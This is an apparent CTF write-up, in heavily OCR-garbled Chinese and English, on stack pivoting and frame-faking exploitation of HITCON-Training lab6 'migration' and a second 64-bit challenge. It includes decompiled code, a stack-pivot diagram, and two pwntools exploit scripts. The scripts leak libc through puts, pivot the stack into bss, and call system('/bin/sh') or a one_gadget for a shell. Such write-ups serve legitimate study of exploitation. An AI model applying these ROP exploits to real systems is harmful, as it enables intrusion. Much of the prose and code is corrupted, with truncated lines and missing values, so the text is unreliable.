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leave; ret;

leave Xt F &mov esp, ebp; pop ebp;

retZ&pop eip;

0x02 stack pivoting
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b6 on git:master » [11:53:55] C:
gration
[*] '/media/psf/Home/DMZ/HITCON-Training/LAB/lab6/migration’
Arch: 1386-32-little

RELRO:
Stack:
NX:
PIE:

lint _ cdecl main(int argc, const char *%arg
2\

3| char buf; //

4

5 if ( count I= 1337 )

& exit(1l);

7 ++count;

8 setvbuf(_bss_start, 0, 2, 0);

9| puts("Try your best :");

10| return read(0, & ; 0x40u);

,_.
s
=


https://cloud.tencent.com/developer/article/1601192

Stack Pivoting Explained

1.

A fake stack
containing a ROP
payload is stored
somewhere in
attacker-controlled
memory

0x00000000

Controlled
memory

Stack Pointer p

22

Using a memory

corruption bug, the
attacker executes a
‘pivot gadget’ which

by @bellis1000

3:

The stack pointer now
points to the start of
the attacker-controlled
memory

Stack Pointer p

4.

The target system now
treats this entire
block of memory as
the stack

5

The attacker now has
the ability to
execute a large ROP
payload on the new

0x00000000

Controlled
memory

6.

Execution of the
payload works its
way down the gadget
addresses stored on
the fake stack

The attacker may
need to restore the
old stack pointer
after exploitation
to allow the

modifies the stack
pointer’s value

‘fake stack’ program to continue

OxFFFFFFFF executing normally
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BiRHXANMEEH, HATFERRERIICS N, XEEFEDbss+0x300Muk4b, R &2 47 &5 #FEF data. got. bssZsegmentf]
& EBilkcrash, M read® 5 A gadget, HH N T HREFEHIN, &5 ERE Ebss+0x3004k

payl 40 p32(bss p32(read p32(leave_ret p32(0 p32(bss p32(0x100

bss fake_ebp

read call read

T2 T —/MRZEbss
read Z%

leave_ret
0,bss,100

ZJEBMNEREIRE T — KA 22 8 (Bt 2 read #7100B).

(HK LR read B 5 idtbss) T RIBATFEME Hlibcihl, X B LLRputstB 7] AR read i, &8idputs s HFTED
HHgotRMEEI H bk, I HRRERRESSEFZHN. XEFitreadBERHEERNE, FEHBT - MHRREE
bss+0x600

p32(bss2
p32(0

p32(put_plt
p32(bss2 p32(0x100

p32(popl p32(put_got p32(read p32(leave_ret

R JEERE] T libcHputs B Fith ik, RAElIbcHEIEXSFF L KputsfmB B ZllibcfRA(E B, 8 Hisystem Fdthhik, BbHE AT (N
T Bilkread® f BRI BARGLE, PIMERR EREBEEIAT, SR AT BLEIF— A HiiR):

SEVE] p32(bss p32(sys p32(bin_addr

?E%%exp:




from pwn import
context.log level
context.terminal

p process(

e1f=ELF(
libc = ELF(
bss elf.bss() 0x200
bss2 elf.bss() +0x300
put_plt elf.symbols|[
elf.got|
elf.symbols|[
leave_ret 0x08048418
popl =0x0804836d
0x08048569
libc.search( ). @)
40 p32(bss) p32(read) p32(leave_ret) p32(9) p32(bss) p32(0x100)

p32(bss2) p32(put_plt) p32(popl) p32(put_got) p32(read) p32(leave_ret)
p32(9) p32(bss2) p32(0x100)
p.send(pay2)
sleep(0.1)
u32(p.recv(4))
(puts_addr)
puts_addr - libc.symbols[
Sys libc.symbols| ] offset
bin_addr bin_sh +offset
p32(bss) p32(sys) p32(bin_addr)
p.send(pay3)
p.interactive()

0x03 frame faking

BlIFBAHRRE TROE RERNT, BIGLE~~)

P — ey

] IDA View-A @ [E Pseudocode-A @[] Strings window @ H

int _ cdecl main(int argc, const char **argv, const char **envp)

char buf; // [rsp+0h] [rbp-40h]

setbuf (stdin, OLL);
setbuf(_bss_start, OLL);
setbuf (stderr, O0LL);
puts("Input Your Name:");
read(0, &name, 0x4FFullL);
puts("Input Buffer:");
read(0, &buf, 0x50ulL);
return 0;

&R R 97 A M ik A% Ebss B b B 45 R T, A B EWiGread IS #HET . - o
fEbss(namett ik )+0x1004b#i&rop, it #Elibc)s [FlFmain.

payl 0x100+p64(bss)+p64(rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main)’




7ERS B 7 A Flleave retit# Flbsskt
B J5 GR Bl Hubik one_gadgetshiT T
5e#exp:

from LibcSearcher import LibcSearcher
from sys import argv

from pwn import

def ret2libc(leak, func, path
if path
libc LibcSearcher(func, leak)
base leak libc.dump(func)
system base libc.dump(
binsh base libc.dump(
else:
libc ELF(path)
base leak libc.sym[func]
system base libc.sym[
binsh base libc.search(

return (system, binsh)

lambda data
lambda delim,data
lambda data
lambda delim,data
lambda num=4096
lambda delims, drop=True .recvuntil(delims, drop)

lambda data :ub4(data.ljust(8, ))

lambda name,addr :log.success( . (name, addr))

.send( (data))
.sendafter(delim, (data))
.sendline( (data))
.sendlineafter(delim, (data))

.recv(num)

p
p
‘P
‘P
p
p

context.log_level

context.terminal

process(

p remote("")
1libc ELF(
elf = ELF( )
bss=0x600AEQ+0x100
rdi_ret 0x4006f3
lea_ret 0x40068e
puts_plt=elf.plt[
puts_got=elf.got[
read_plt=elf.plt[
main Ox4005F7
payl 0x100+p64(bss)+p64(rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main)

0x40 + p64(bss)+p64(lea_ret)

putsadd=u64(ru( )[:].-1just(8,
Lleak( ,putsadd)




libc_base putsadd- libc.sym[
one_gadget libc_base oxf1207

ox48 p64(one_gadget)

p.send(pay)
p.interactive()
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